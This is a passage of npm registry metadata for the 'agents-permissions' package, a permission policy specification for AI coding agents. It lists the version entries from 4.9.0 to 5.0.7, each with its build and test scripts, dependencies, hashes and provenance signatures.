--experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.9.0_1778512006035_0.681511128743562","host":"s3://npm-registry-packages-npm-production"}},"5.0.0":{"name":"agents-permissions","version":"5.0.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"187fb326c34258e1bb93cc95c0eeb1aa8af9b7b2","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.0.tgz","fileCount":57,"integrity":"sha512-+i+Pz8X45FEd6WlVnQ/TmIpOL/KYSPAEKw+7wi0oA9+dqesWYDPHc25ZKf0a3vQv0dmBwK0JGZSB61gLQlMRGw==","signatures":[{"sig":"MEYCIQC+u+l0uaUQSKEHYfhkpBsb3dwrfU5ilQNMXAw3QyV4AQIhAL1x8PmfhqjQC6oeUlaMmicK1x3/AxsuZdSIlbKeyzJJ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":737800},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.0_1778513266277_0.780616952024574","host":"s3://npm-registry-packages-npm-production"}},"5.0.1":{"name":"agents-permissions","version":"5.0.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"d85be6fdc48d30eee3b709f787117608f6ef92dc","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.1.tgz","fileCount":63,"integrity":"sha512-UGvJKxlxRxg4CzIulkrVM70vgVGJlMjF+VyrnKiDgvB3Wnf2INRPaqYZ3Dt/fdXzh4SxSaRuoP2BcnN2/OIEcQ==","signatures":[{"sig":"MEUCIQDvD2CyfsVBisAJrddIZLMDpyD6dF+SJJiNlVKDu5bVTgIgFj5P/+/BI4/AnxuKPRThj70wpTkGFzHyt+t71DN+5ao=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":747348},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.1_1778513733901_0.34051150117011075","host":"s3://npm-registry-packages-npm-production"}},"5.0.2":{"name":"agents-permissions","version":"5.0.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"ef657e15eba61fe057842561257398032bdade01","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.2.tgz","fileCount":63,"integrity":"sha512-jIQUExlmdcC4Xvj51wqTgvdIU5TuYZD2bLO50gNAwYznoaUBOmQ6t+L0oF0wJ2v2jtw5q53tC2NvsOzym8Za0w==","signatures":[{"sig":"MEUCIDgC+HEa65G/YK/FitkNTkMtGo+IKn9Tryny5zG7kEFcAiEAqDXDcEbRA3W3dfFYyabrjBvOiaNUY7Vy1f5aE03XGz0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":745866},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.2_1778515632963_0.758038588730384","host":"s3://npm-registry-packages-npm-production"}},"5.0.3":{"name":"agents-permissions","version":"5.0.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"b9413099727c5c259c8251c31d2d0ebf9b15e1c6","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.3.tgz","fileCount":65,"integrity":"sha512-2fE8crpLSPzkKVL1Y+t+mjkPvJGqJVeMgbJiEukmLaq09jxNUBQHLvcwihfJfYOYy48jCrzFiMXVvV6Cp4gseA==","signatures":[{"sig":"MEYCIQCByCDSnYoHROJN5rRJ6idWIKmZ3t64UNIrMgKxrfOIzAIhAO5xPQAML34PfhJLrTHTSeYABDGwdtLJqJiyJt4YwPxi","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":758436},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.3_1778519156638_0.4369133431040515","host":"s3://npm-registry-packages-npm-production"}},"5.0.4":{"name":"agents-permissions","version":"5.0.4","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.4","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"2da8d08d89074604f3e13e14402f955a7ff2234f","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.4.tgz","fileCount":65,"integrity":"sha512-wyL/nE+t8St+xlDtZ3Zw76B0nvJVQsziYc4KyGeZLncUdBVR8jI2LM2tMcIn8xoyZn0Orh36f0rSBeGdWFyHfA==","signatures":[{"sig":"MEYCIQDZM9Tb2WZoMXr4kNduIpuPirQiedJo2XOHzLTeNhb1CgIhAJ419pLA3QTXCPqBmop5Q1yOiJInvlWaBgRTLZgkWyoV","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":759995},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.4_1778524281403_0.17042006797013687","host":"s3://npm-registry-packages-npm-production"}},"5.0.5":{"name":"agents-permissions","version":"5.0.5","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.5","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"0b25d7b14a3b7877258b175d28d6f519a1f87832","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.5.tgz","fileCount":65,"integrity":"sha512-dMiEXhKC6Qp+nSpHiYcFHq2EVXqYclmPGyB3YAVdeUnSKLeHaT1Y30G6bM3NVuX1+f2h0z4ciBptRam6GQ9BKA==","signatures":[{"sig":"MEYCIQCLFrdZbnBhb8LYMYQ9CDcWocqtyBBeqYpuWJK8qkLS+AIhALqyPYvE4DzfDELczXVALuELkktJVAEEJLDoBxRUZEHy","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":759995},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.5_1778525005321_0.2777726454271394","host":"s3://npm-registry-packages-npm-production"}},"5.0.6":{"name":"agents-permissions","version":"5.0.6","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.6","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"64e2753624bbcf64f53a81d775fb16cc3c3c9f88","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.6.tgz","fileCount":65,"integrity":"sha512-Tebske2wh4Yr+OmvFs07y3hDQvSZ2ZRhFSlTvfrTnPRaJLw7J7PNvNGnCLQXBo9h3CRjzp4rBnUU5EGUn8SuNA==","signatures":[{"sig":"MEUCIQDwrUKfavSpMyhKUe6epsiXIRW++c/VF67B/+rRY7NClAIgOru1nSF2aRhKu8vfZkWSvjDbwqkokqo5RA0VDdU6Xfg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":759995},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_5.0.6_1778525755764_0.6523701243939406","host":"s3://npm-registry-packages-npm-production"}},"5.0.7":{"name":"agents-permissions","version":"5.0.7","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@5.0.7","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"8905074fc32877b79e312b0c05fd1b2302d064de","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-5.0.7.tgz","fileCount":65,"integrity":"sha512-LS1htxe6Y2Gi0a/zhhkQrExYQGVExfw4uhhg9QR7RXyJ37yQe0n04uW1gfVMfaJPGP5PjItjoxxilrPpvAuqfQ==","signatures":[{"sig":"MEUCIHDf6ZyAKBHw/1DTZ8e4BWBKh7W7HhbudEnPTO10WqBUAiEAq3nnimaSqZlBU/rEydspq2a6wVdZJiguAyQFfE+JmGg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@5.0.7","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":759995},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node 